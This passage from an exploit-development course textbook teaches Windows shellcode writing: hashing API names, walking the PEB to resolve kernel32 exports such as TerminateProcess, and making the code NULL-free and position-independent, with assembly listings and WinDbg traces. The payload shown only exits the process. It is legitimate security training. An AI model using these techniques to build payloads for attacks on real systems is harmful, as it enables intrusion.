Float: low -4.48416e-044 high -1.#QNAN
Double: -1.#QNAN
Listing 302 - Example of using the ROR assembly instruction inside WinDbg

Listing 302 shows how the binary bits have rotated once to the right. Now that we understand
how the ROR operation works, let’s get back to the shellcode and review the assembly code:
" compute_hash_again: " #
" lodsb ;" # Load the next byte from esi into al
" test al, al ;" # Check for NULL terminator
" jz compute_hash_finished ;" # If the ZF is set, we've hit the NULL
term
" ror edx, 0x0d ;" # Rotate edx 13 bits to the right
" add edx, eax ;" # Add the new byte to the accumulator

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 255
Windows User Mode Exploit Development

" jmp compute_hash_again ;" # Next iteration

" compute_hash_finished: " #


Listing 303 - Hash Routines to Compute Function Names

After the rotate bits right instruction, we’ll ADD the value of EAX, which holds a byte of our symbol
name, to the EDX register and jump to the beginning of compute_hash_again. This function
represents a loop that will go over each byte of a symbol name and add it to an accumulator
(EDX) right after the rotate bits right operation.
Once we reach the end of our symbol name, the EDX register will contain a unique four-byte hash
for that symbol name. This means we can compare it to a pre-generated hash to determine if we
have found the correct entry.
We can write a simple Python script that performs the same operation so that we will be able to
compute the hash of a function name that our shellcode will search for:233
#!/usr/bin/python
import numpy, sys

def ror_str(byte, count):


binb = numpy.base_repr(byte, 2).zfill(32)
while count > 0:
binb = binb[-1] + binb[0:-1]
count -= 1
return (int(binb, 2))

if __name__ == '__main__':
try:
esi = sys.argv[1]
except IndexError:
print("Usage: %s INPUTSTRING" % sys.argv[0])
sys.exit()

# Initialize variables
edx = 0x00
ror_count = 0

for eax in esi:


edx = edx + ord(eax)
if ror_count < len(esi)-1:
edx = ror_str(edx, 0xd)
ror_count += 1

print(hex(edx))
Listing 304 - ComputeHash.py: Python script to compute a four-byte hash from a string

The script in Listing 304 takes the symbol name as an argument and replicates the hashing
function from our assembly code, resulting in a four-byte hash of the symbol name.

233
Please note that the ROR function in the script rotates bits using a string representation of a binary number. A correct
implementation would use shift and or bitwise operators combined together (h<<5 | h>>27). The choice to use string operations is due
to the fact that it is simpler to visualize bit rotations in this way for the student.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 256
Windows User Mode Exploit Development

We can test our script by executing it and passing the timeGetTime string as an argument to
generate the unique hash for the symbol. This was the last symbol name exported by kernel32.dll
that we observed while running our previous shellcode inside WinDbg.
C:\Users\admin\Desktop> python ComputeHash.py timeGetTime
0x998eaf95
Listing 305 - Unique hash for the timeGetTime string

Let’s run our updated shellcode, which includes the hashing function, and confirm that the
generated hash for the timeGetTime string matches the hash that will be generated by our
assembly instructions.
Rather than single-stepping through the entire shellcode, we’ll place software breakpoints at
important parts of the code. To begin, let’s single step into find_function, as shown below:

0:002> r
eax=6f23d2c2 ebx=76e40000 ecx=00000000 edx=02a30000 esi=01276d78 edi=01271ca8
eip=02a3002e esp=02c2f594 ebp=02c2f798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02a3002e 60 pushad

0:002> u @eip L18


02a3002e 60 pushad
...
02a30043 e319 jecxz 02a3005e
02a30045 49 dec ecx
02a30046 8b45fc mov eax,dword ptr [ebp-4]
02a30049 8b3488 mov esi,dword ptr [eax+ecx*4]
02a3004c 01de add esi,ebx
02a3004e 31c0 xor eax,eax
02a30050 99 cdq
02a30051 fc cld
02a30052 ac lods byte ptr [esi]
02a30053 84c0 test al,al
02a30055 7407 je 02a3005e
02a30057 c1ca0d ror edx,0Dh
02a3005a 01c2 add edx,eax
02a3005c ebf4 jmp 02a30052
02a3005e 61 popad
02a3005f c3 ret

0:002> bp 02a3004e

0:002> bp 02a3005e

0:002> bl
0 e Disable Clear 02a3004e 0001 (0001) 0:****
1 e Disable Clear 02a3005e 0001 (0001) 0:****
Listing 306 - Setting up software breakpoints to compare the script generated hash inside WinDbg

Listing 306 shows that we set up two software breakpoints. The first breakpoint is set after
obtaining the RVA to the first entry in the AddressOfNames array, allowing us to confirm the
symbol name that will be hashed. The second breakpoint is set after our compute_hash_again
function has finished executing, allowing us to view the resultant hash in EDX.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 257
Windows User Mode Exploit Development

0:002> g
Breakpoint 0 hit
eax=76eb71ec ebx=76e40000 ecx=00000620 edx=02a30000 esi=76ec2af4 edi=76eb5940
eip=02a3004e esp=02c2f574 ebp=02c2f798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
02a3004e 31c0 xor eax,eax

0:002> da @esi
76ec2af4 "timeGetTime"

0:002> g
Breakpoint 1 hit
eax=00000000 ebx=76e40000 ecx=00000620 edx=998eaf95 esi=76ec2b00 edi=76eb5940
eip=02a3005e esp=02c2f574 ebp=02c2f798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02a3005e 61 popad

0:002> r edx
edx=998eaf95
Listing 307 - Comparing the script-generated hash inside WinDbg

Checking the output from Listing 307, the generated hash matches the one we obtained using our
Python script.
Now that we have implemented and tested our hashing algorithm inside of our shellcode, we can
search for the TerminateProcess symbol and learn how to obtain its RVA and VMA inside our
shellcode.

7.4.3.1 Exercises
1. Update your previous shellcode to include the functions needed for the hashing algorithm.
2. Go through the assembly instructions to make sure you understand how the hashing
functions work.
3. Use the ComputeHash.py script to generate a unique hash for the timeGetTime string.
4. Set breakpoints in the updated shellcode to quickly confirm that the hash from the script
matches the one generated by our shellcode.

7.4.4 Fetching the VMA of a Function


Once we reach the final instruction of our previous shellcode, the computed hash is stored in the
EDX register. This means we can introduce an additional function that will compare the hash
from EDX with the one generated by our Python script. If the hashes match, we can re-use the
same index from ECX in the AddressOfNameOrdinals array and gather the new index. This will
allow us to obtain the RVA and, finally, VMA of the function.
Let’s inspect our updated shellcode:
import ctypes, struct
from keystone import *

CODE = (
" start: " #

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 258
Windows User Mode Exploit Development

" int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN


NOT DEBUGGING!!!!
" mov ebp, esp ;" #
" sub esp, 0x200 ;" #
" call find_kernel32 ;" #
" push 0x78b5b983 ;" # TerminateProcess hash
" call find_function ;" #
" xor ecx, ecx ;" # Null ECX
" push ecx ;" # uExitCode
" push 0xffffffff ;" # hProcess
" call eax ;" # Call TerminateProcess
...
" find_function_loop: " #
" jecxz find_function_finished ;" # Jump to the end if ECX is 0
" dec ecx ;" # Decrement our names counter
" mov eax, [ebp-4] ;" # Restore AddressOfNames VMA
" mov esi, [eax+ecx*4] ;" # Get the RVA of the symbol name
" add esi, ebx ;" # Set ESI to the VMA of the current
symbol name
...
" compute_hash_again: " #
" lodsb ;" # Load the next byte from esi into al
" test al, al ;" # Check for NULL terminator
" jz compute_hash_finished ;" # If the ZF is set,we've hit the NULL
term
" ror edx, 0x0d ;" # Rotate edx 13 bits to the right
" add edx, eax ;" # Add the new byte to the accumulator
" jmp compute_hash_again ;" # Next iteration

" compute_hash_finished: " #

" find_function_compare: " #


" cmp edx, [esp+0x24] ;" # Compare the computed hash with the
requested hash
" jnz find_function_loop ;" # If it doesn't match go back to
find_function_loop
...

" find_function_finished: " #


" popad ;" # Restore registers
" ret ;" #
Listing 308 - resolving_symbols_0x03.py: Comparing the generated hash with the static one and fetching the function
VMA

The first change in our shellcode can be observed in the start function. Before the call to
find_function, we push the hash for TerminateProcess, which we generated using our Python
script, on the stack. This allows us to later fetch it from the stack and compare it to the hash
generated by our compute_hash_again function.
After find_function returns, we push the two arguments that the target function requires on the
stack, and call it using an indirect call to EAX. In order for this to work, we place the VMA of
TerminateProcess in EAX before returning from find_function.
Once our hash has been computed, we execute a newly-introduced function named
find_function_compare, whose ASM code is shown below:

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 259
Windows User Mode Exploit Development

" find_function_compare: " #


" cmp edx, [esp+0x24] ;" # Compare the computed hash with the
requested hash
" jnz find_function_loop ;" # If it doesn't match go back to
find_function_loop
" mov edx, [edi+0x24] ;" # AddressOfNameOrdinals RVA
" add edx, ebx ;" # AddressOfNameOrdinals VMA
" mov cx, [edx+2*ecx] ;" # Extrapolate the function's ordinal
" mov edx, [edi+0x1c] ;" # AddressOfFunctions RVA
" add edx, ebx ;" # AddressOfFunctions VMA
" mov eax, [edx+4*ecx] ;" # Get the function RVA
" add eax, ebx ;" # Get the function VMA
" mov [esp+0x1c], eax ;" # Overwrite stack version of eax from
pushad
Listing 309 - Assembly code of find_function_compare function

First, this function makes a comparison between EDX and the value pointed to by ESP at offset
0x24. We’ll remember that the compute_hash_again function (Listing 308) uses EDX as an
accumulator for our hash. For this comparison to work, we need to ensure that the memory
address of ESP at offset 0x24 will point to the pre-generated hash we pushed.

The offset required alongside the ESP register will vary depending on your
shellcode and how many PUSH/POP operations it contains. To determine the
exact offset, we used a dummy offset, and after running the shellcode, we used
WinDbg to determine the exact value needed.

If the compared hashes don’t match, we’ll jump back to find_function_loop and grab the next entry
in the AddressOfNames array. Once we have found the correct entry, we gather the RVA of the
AddressOfNameOrdinals array at offset 0x24 from the Export Directory Table, which is stored in
EDI. The next instruction adds the base address of kernel32.dll stored in EBX to the RVA of
AddressOfNameOrdinals.
This is followed by the mov cx, [edx+2*ecx] instruction. ECX is also used as an index to the
AddressOfNames array as part of our find_function_loop function. Because the AddressOfNames
and AddressOfNameOrdinals arrays entries use the same index, once we find the entry for our
symbol name, we can use the same index to retrieve the entry from the AddressOfNameOrdinals
array. We multiply ECX by 0x02 because each entry in the array is a WORD.
We then move the value from the AddressOfNameOrdinals array to the CX register, which was our
counter/index. We’ll use this new value as a new index in the AddressOfFunctions array. Before
using the new index, we gather the RVA of AddressOfFunctions at offset 0x1C from the Export
Directory Table (mov edx, [edi+0x1c]), and then add the base address of kernel32.dll to it.
Using our new index in the AddressOfFunctions array, we retrieve the RVA of the function and
then finally add the base address of kernel32.dll to obtain the virtual memory address of the
function.
Let’s run the script and set a few breakpoints inside WinDbg to confirm we can successfully
resolve the TerminateProcess function.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 260
Windows User Mode Exploit Development

First, we’ll set a software breakpoint after the conditional jump inside find_function_compare, and
let the shellcode run until we reach it:
0:002> bp 02b40070

0:002> g
Breakpoint 0 hit
eax=00000000 ebx=76e40000 ecx=0000056e edx=78b5b983 esi=76ec1b7e edi=76eb5940
eip=02b40070 esp=02d3fd30 ebp=02d3ff58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02b40070 8b5724 mov edx,dword ptr [edi+24h] ds:0023:76eb5964=00078a70

0:002> u @eip La
02b40070 8b5724 mov edx,dword ptr [edi+24h]
02b40073 01da add edx,ebx
02b40075 668b0c4a mov cx,word ptr [edx+ecx*2]
02b40079 8b571c mov edx,dword ptr [edi+1Ch]
02b4007c 01da add edx,ebx
02b4007e 8b048a mov eax,dword ptr [edx+ecx*4]
02b40081 01d8 add eax,ebx
02b40083 8944241c mov dword ptr [esp+1Ch],eax
02b40087 61 popad
02b40088 c3 ret
Listing 310 - Hitting the breakpoint after we have found our symbol name

Once we hit our breakpoint, we’ll single step through the instructions until we finally obtain the
virtual memory address of the TerminateProcess API:
0:002> t
eax=00000000 ebx=76e40000 ecx=0000056e edx=00078a70 esi=76ec1b7e edi=76eb5940
eip=02b40073 esp=02d3fd30 ebp=02d3ff58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02b40073 01da add edx,ebx
...

0:002> t
eax=76e6bd30 ebx=76e40000 ecx=0000056e edx=76eb5968 esi=76ec1b7e edi=76eb5940
eip=02b40083 esp=02d3fd30 ebp=02d3ff58 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
02b40083 8944241c mov dword ptr [esp+1Ch],eax ss:0023:02d3fd4c=fa5da212

0:002> u @eax
KERNEL32!TerminateProcessStub:
76e6bd30 8bff mov edi,edi
76e6bd32 55 push ebp
76e6bd33 8bec mov ebp,esp
76e6bd35 5d pop ebp
76e6bd36 ff254c49ec76 jmp dword ptr [KERNEL32!_imp__TerminateProcess
(76ec494c)]
76e6bd3c cc int 3
76e6bd3d cc int 3
76e6bd3e cc int 3
Listing 311 - Obtaining the virtual memory address of TerminateProcess

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 261
Windows User Mode Exploit Development

Excellent! Our shellcode managed to successfully resolve the memory address of


TerminateProcess. The last instruction in find_function_compare will write this virtual memory
address to the stack at offset 0x1C.
We do this to ensure that our address will be popped back into EAX after executing the POPAD
instruction that is a part of find_function_finished before returning to our start function, as shown
below:
" find_function_finished: " #
" popad ;" # Restore registers
" ret ;" #
Listing 312 - Assembly code of find_function_finished function

Before proceeding, let’s quickly inspect the TerminateProcess234 function prototype:


BOOL TerminateProcess(
HANDLE hProcess,
UINT uExitCode
);
Listing 313 - The prototype of TerminateProcess

After the RET instruction is executed, we return to the start function where we zero out ECX and
push it onto the stack. This value will act as the uExitCode parameter and represents a successful
exit. This is followed by a PUSH instruction that pushes the value -1 (0xFFFFFFFF) to the stack as
the hProcess parameter. The minus one value represents a pseudo-handle235 to our process.
0:002> t
eax=76e6bd30 ebx=76e40000 ecx=00000000 edx=02b40000 esi=01307890 edi=01301c88
eip=02b40018 esp=02d3fd54 ebp=02d3ff58 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
02b40018 31c9 xor ecx,ecx

0:002> t
eax=76e6bd30 ebx=76e40000 ecx=00000000 edx=02b40000 esi=01307890 edi=01301c88
eip=02b4001a esp=02d3fd54 ebp=02d3ff58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02b4001a 51 push ecx

0:002> t
eax=76e6bd30 ebx=76e40000 ecx=00000000 edx=02b40000 esi=01307890 edi=01301c88
eip=02b4001b esp=02d3fd50 ebp=02d3ff58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02b4001b 6aff push 0FFFFFFFFh

0:002> t
eax=76e6bd30 ebx=76e40000 ecx=00000000 edx=02b40000 esi=01307890 edi=01301c88
eip=02b4001d esp=02d3fd4c ebp=02d3ff58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02b4001d ffd0 call eax {KERNEL32!TerminateProcessStub (76e6bd30)}

234
(Microsoft - TerminateProcess), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
terminateprocess
235
(Microsoft - GetCurrentProcess), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
getcurrentprocess

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 262
Windows User Mode Exploit Development

0:002> dds @esp L2


02d3fd4c ffffffff
02d3fd50 00000000
Listing 314 - Pushing the arguments for the TerminateProcess API on the stack

We can cleanly exit our shellcode by stepping over the call to TerminateProcess. Let’s observe the
exit in WinDbg:
0:002> p
WARNING: Step/trace thread exited
eax=76e6bd30 ebx=76e40000 ecx=02d3fd34 edx=770a4550 esi=01307890 edi=01301c88
eip=770a4550 esp=02d3fd34 ebp=02d3fd44 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
770a4550 c3 ret
Listing 315 - Executing TerminateProcess inside WinDbg

To confirm that our shellcode works as expected, we can comment out the INT3 instruction from
our shellcode and execute it without attaching WinDbg to the Python process. Rather than
crashing after we press , our shellcode should exit cleanly in this case.
I
With the functions implemented, we now have a way of resolving any symbol exported by
kernel32.dll. Being able to resolve symbols allows us to chain multiple API calls with little
overhead and achieve complex functionality within our shellcode.

7.4.4.1 Exercises
1. Update the start function of the shellcode to include the arguments and call to the
TerminateProcess API.
2. Continue to modify the shellcode and add all the required functions for comparing the hash
and retrieving the VMA of the TerminateProcess API.
3. Run the updated shellcode and attach WinDbg to the Python process. Set up appropriate
software breakpoints to trace the important steps of the shellcode and ensure it is retrieving
the correct memory address of the function.
4. Comment out the INT3 instruction and run your updated shellcode without a debugger
attached. Ensure that it exits without causing a crash.

7.5 NULL-Free Position-Independent Shellcode (PIC)


Before we decide which APIs to call and what our shellcode should achieve, let’s run it once more
with the uncommented INT3 instruction. While our shellcode is functioning correctly, we’ll notice
that the opcodes it generates contain NULL bytes:
0:002> g
(15e8.1408): Break instruction exception - code 80000003 (first chance)
eax=450240f7 ebx=00000000 ecx=02950000 edx=02950000 esi=02950000 edi=02950000
eip=02950000 esp=02b4fdb0 ebp=02b4fdc0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02950000 cc int 3

0:002> u @eip L6

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 263
Windows User Mode Exploit Development

02950000 cc int 3
02950001 89e5 mov ebp,esp
02950003 81ec00020000 sub esp,200h
02950009 e811000000 call 0295001f
0295000e 6883b9b578 push 78B5B983h
02950013 e822000000 call 0295003a
Listing 316 - Verifying that our shellcode contains NULL bytes

These NULL bytes are not a problem if we run our shellcode using the Python script. Using this
shellcode in a real exploit, however, would be problematic as the NULL byte is usually a bad
character.

7.5.1 Avoiding NULL Bytes


If we look at the instructions that generated the NULL bytes (Listing 316), we find that the first
one is sub esp, 0x200. This instruction can also use a negative offset value, or we can use a
combination of multiple instructions that achieve the same effect, as shown below:
0:002> ? 0x0 - 0x210
Evaluate expression: -528 = fffffdf0

0:002> ? @esp + 0xfffffdf0


Evaluate expression: 4340382624 = 00000001`02b4fba0

0:002> r @esp
esp=02b4fdb0

0:002> ? 0x02b4fdb0 - 0x02b4fba0


Evaluate expression: 528 = 00000210
Listing 317 - Calculating the offset we need to ADD to ESP to avoid null bytes

Listing 317 shows that rather than using a SUB operation with a value of 0x200, we can ADD a
large offset and achieve a similar result. The end result will make ESP hold a memory address
that will not contain any NULL bytes.
Let’s quickly update our shellcode to make sure it successfully avoids the first instance of NULL
bytes we encountered previously.
import ctypes, struct
from keystone import *

CODE = (
" start: " #
" int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN
NOT DEBUGGING!!!!
" mov ebp, esp ;" #
" add esp, 0xfffffdf0 ;" # Avoid NULL bytes
" call find_kernel32 ;" #
" push 0x78b5b983 ;" # TerminateProcess hash
" call find_function ;" #
...
Listing 318 - Replacing the SUB instruction with an ADD instruction to avoid null bytes

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 264
Windows User Mode Exploit Development

To verify that our ADD instruction worked as intended, let’s run our shellcode again and inspect
the opcodes inside WinDbg once we reach our INT3 instruction.
0:002> u @eip L6
02210000 cc int 3
02210001 89e5 mov ebp,esp
02210003 81c4f0fdffff add esp,0FFFFFDF0h
02210009 e811000000 call 0221001f
0221000e 6883b9b578 push 78B5B983h
02210013 e822000000 call 0221003a
Listing 319 - Verify the opcodes do not contain NULL bytes using WinDbg

Excellent! We replaced the instruction and achieved a similar result without NULL bytes. We can
do this for most of the instructions in our shellcode if they contain NULL bytes.
Our next challenge is that our shellcode also contains CALL instructions, which generate NULL
bytes (Listing 319). Let’s move on and tackle that.

7.5.1.1 Exercise
1. Go through the opcodes generated by the shellcode and replace any instruction except
CALL- and JMP-type instructions to avoid NULL bytes.

7.5.2 Position-Independent Shellcode


Our CALL instructions236 generate NULL bytes because our code is calling the functions directly.
Each direct function CALL, depending on the location of the function, will either invoke a near call
containing a relative offset to the function, or a far call containing the absolute address, either
directly or with a pointer.
There are two ways we can address the CALL instructions. First, we could move all the functions
being called above the CALL instruction. This would generate a negative offset and avoid NULL
bytes. Our second option is to dynamically gather the absolute address of the function we want to
call, and store it in a register.
The second option provides more flexibility, especially for large shellcodes. This technique is
often used by decoder components when the payload is encoded. The ability to gather the
shellcode absolute address at runtime will provide us with a position independent code (PIC)
shellcode that is both NULL-free and injectable anywhere in memory.
This technique, which we will go over shortly, exploits the fact that a call to a function located in a
lower address will use a negative offset and therefore has a high chance of not containing NULL
bytes. Moreover, when executing the CALL instruction, the return address will be pushed onto the
stack. This address can be then popped from the stack into a register and be used to dynamically
calculate the absolute address of the function we are interested in.

We can begin by slightly modifying our start function:


import ctypes, struct
from keystone import *

236
(Faydoc - CALL), http://faydoc.tripod.com/cpu/call.htm

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 265
Windows User Mode Exploit Development

CODE = (
" start: " #
" int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN
NOT DEBUGGING!!!!
" mov ebp, esp ;" #
" add esp, 0xfffffdf0 ;" # Avoid NULL bytes

" find_kernel32: " #


" xor ecx, ecx ;" # ECX = 0
" mov esi,fs:[ecx+0x30] ;" # ESI = &(PEB) ([FS:0x30])
" mov esi,[esi+0x0C] ;" # ESI = PEB->Ldr
" mov esi,[esi+0x1C] ;" # ESI = PEB->Ldr.InInitOrder

" next_module: " #


" mov ebx, [esi+0x08] ;" # EBX = InInitOrder[X].base_address
" mov edi, [esi+0x20] ;" # EDI = InInitOrder[X].module_name
" mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next)
" cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00?
" jne next_module ;" # No: try next module
...
Listing 320 - resolving_symbols_0x04.py: Obtaining the location of our shellcode in memory

Listing 320 displays the modified start function. After creating some space on the stack, we now
go directly into the find_kernel32 function without using a CALL instruction. As the CALL
instruction was not mandatory, removing it allows us to avoid the NULL bytes generated by the
relative call.
After obtaining the base address of kernel32.dll, we’ll reach the newly added functions which will
gather the position of our shellcode in memory.
We start with find_function_shorten. This function contains a single assembly instruction, which is
a short jump to find_function_shorten_bnc. Because these functions are close to each other, the
JMP instruction’s opcodes will not contain NULL bytes.

" find_function_shorten: " #


" jmp find_function_shorten_bnc ;" # Short jump

" find_function_ret: " #


" pop esi ;" # POP the return address from the stack
" mov [ebp+0x04], esi ;" # Save find_function address for later
usage
" jmp resolve_symbols_kernel32 ;" #

" find_function_shorten_bnc: " #


" call find_function_ret ;" # Relative CALL with negative offset

" find_function: " #


" pushad ;" # Save all registers
Listing 321 - Executing a CALL to a function located higher in the code

The code from Listing 321 shows that after reaching find_function_shorten_bnc, there is only one
assembly instruction. This time we’ll use the CALL instruction with find_function_ret as the
destination. Because this function is located higher than our CALL instruction, the generated
opcodes will contain a negative offset that should be free of NULL bytes rather than a positive

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 266
Windows User Mode Exploit Development

offset with NULL bytes. After we execute this CALL instruction, we will push the return address to
the stack. The stack will point to find_function’s first instruction.
Inspecting find_function_ret (Listing 321), we observe that the first instruction is a POP, which
takes the return value we pushed on the stack and places it in ESI. After the POP instruction, ESI
will point to the first instruction of find_function, allowing us to use an indirect call to invoke it.
This address is then saved at a dereference of EBP at offset 0x04 for later use.
Finally, we’ll move the assembly instructions to push the hash, resolve the function, and execute it
at the end of our shellcode, as shown below:
...
" find_function_finished: " #
" popad ;" # Restore registers
" ret ;" #

" resolve_symbols_kernel32: "


" push 0x78b5b983 ;" # TerminateProcess hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x10], eax ;" # Save TerminateProcess address for
later usage

" exec_shellcode: " #


" xor ecx, ecx ;" # Null ECX
" push ecx ;" # uExitCode
" push 0xffffffff ;" # hProcess
" call dword ptr [ebp+0x10] ;" # Call TerminateProcess
Listing 322 - Moving the functions requires us to resolve symbols and execute the APIs at the end of our shellcode

One important thing to note, according to Listing 322, is that moving the functions requires us to
move the assembly code responsible for calling find_function to resolve symbols and execute the
APIs after find_function_finished.
Let’s run our updated shellcode and, inside the debugger, inspect how we dynamically obtain its
position in memory. We start by hitting our INT3 instruction and setting a breakpoint right at
find_function_shorten. Once hit, we will take the jump and reach find_function_shorten_bnc:
0:002> g
(f34.1058): Break instruction exception - code 80000003 (first chance)
eax=4fb1077f ebx=00000000 ecx=02900000 edx=02900000 esi=02900000 edi=02900000
eip=02900000 esp=02affb70 ebp=02affb80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02900000 cc int 3

0:002> u @eip L10


...
02900023 eb06 jmp 0290002b
02900025 5e pop esi
02900026 897504 mov dword ptr [ebp+4],esi
02900029 eb54 jmp 0290007f

0:002> bp 02900023

0:002> g

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 267
Windows User Mode Exploit Development

Breakpoint 0 hit
eax=4fb1077f ebx=76e40000 ecx=00000000 edx=02900000 esi=013d7808 edi=013d1cb0
eip=02900023 esp=02aff960 ebp=02affb70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02900023 eb06 jmp 0290002b

0:002> t
eax=4fb1077f ebx=76e40000 ecx=00000000 edx=02900000 esi=013d7808 edi=013d1cb0
eip=0290002b esp=02aff960 ebp=02affb70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0290002b e8f5ffffff call 02900025
Listing 323 - Hitting the breakpoint at the find_function_shorten and executing the JMP instruction

As shown in Listing 323, the CALL instruction does not contain any NULL bytes due to the
negative offset. Stepping into the call will push the return instruction on the stack. Let’s confirm
that the return address points to find_function.
0:002> t
eax=4fb1077f ebx=76e40000 ecx=00000000 edx=02900000 esi=013d7808 edi=013d1cb0
eip=02900025 esp=02aff95c ebp=02affb70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02900025 5e pop esi

0:002> dds @esp L1


02aff95c 02900030

0:002> u poi(@esp)
02900030 60 pushad
02900031 8b433c mov eax,dword ptr [ebx+3Ch]
02900034 8b7c0378 mov edi,dword ptr [ebx+eax+78h]
02900038 01df add edi,ebx
0290003a 8b4f18 mov ecx,dword ptr [edi+18h]
0290003d 8b4720 mov eax,dword ptr [edi+20h]
02900040 01d8 add eax,ebx
02900042 8945fc mov dword ptr [ebp-4],eax
Listing 324 - Pushing the return address that points to the beginning of the find_function to the stack

According to Listing 324, the return address is pushed to the stack and points to the first
instruction of find_function. The next two instructions will POP the address of find_function into
ESI, and save it at the memory location pointed to by EBP at offset 0x04.
0:002> t
eax=4fb1077f ebx=76e40000 ecx=00000000 edx=02900000 esi=02900030 edi=013d1cb0
eip=02900026 esp=02aff960 ebp=02affb70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02900026 897504 mov dword ptr [ebp+4],esi ss:0023:02affb74=00000000

0:002> u @esi
02900030 60 pushad
02900031 8b433c mov eax,dword ptr [ebx+3Ch]
02900034 8b7c0378 mov edi,dword ptr [ebx+eax+78h]
02900038 01df add edi,ebx
0290003a 8b4f18 mov ecx,dword ptr [edi+18h]
0290003d 8b4720 mov eax,dword ptr [edi+20h]
02900040 01d8 add eax,ebx

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 268
Windows User Mode Exploit Development

02900042 8945fc mov dword ptr [ebp-4],eax

0:002> t
eax=4fb1077f ebx=76e40000 ecx=00000000 edx=02900000 esi=02900030 edi=013d1cb0
eip=02900029 esp=02aff960 ebp=02affb70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02900029 eb54 jmp 0290007f

0:002> u poi(@ebp + 0x04)


02900030 60 pushad
02900031 8b433c mov eax,dword ptr [ebx+3Ch]
02900034 8b7c0378 mov edi,dword ptr [ebx+eax+78h]
02900038 01df add edi,ebx
0290003a 8b4f18 mov ecx,dword ptr [edi+18h]
0290003d 8b4720 mov eax,dword ptr [edi+20h]
02900040 01d8 add eax,ebx
02900042 8945fc mov dword ptr [ebp-4],eax
Listing 325 - Retrieving the address find_function in the ESI register and saving it for later usage

The last instruction of find_function_ret is a short jump (Listing 325) to the


resolve_symbols_kernel32 function, where we use an indirect call to avoid NULL bytes:
0:002> t
eax=4fb1077f ebx=76e40000 ecx=00000000 edx=02900000 esi=02900030 edi=013d1cb0
eip=0290007f esp=02aff960 ebp=02affb70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0290007f 6883b9b578 push 78B5B983h

0:002> t
eax=4fb1077f ebx=76e40000 ecx=00000000 edx=02900000 esi=02900030 edi=013d1cb0
eip=02900084 esp=02aff95c ebp=02affb70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02900084 ff5504 call dword ptr [ebp+4] ss:0023:02affb74=02900030

0:002> p
eax=76e6bd30 ebx=76e40000 ecx=00000000 edx=02900000 esi=02900030 edi=013d1cb0
eip=02900087 esp=02aff95c ebp=02affb70 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
02900087 894510 mov dword ptr [ebp+10h],eax ss:0023:02affb80=02affbc8

0:002> u @eax
KERNEL32!TerminateProcessStub:
76e6bd30 8bff mov edi,edi
76e6bd32 55 push ebp
76e6bd33 8bec mov ebp,esp
76e6bd35 5d pop ebp
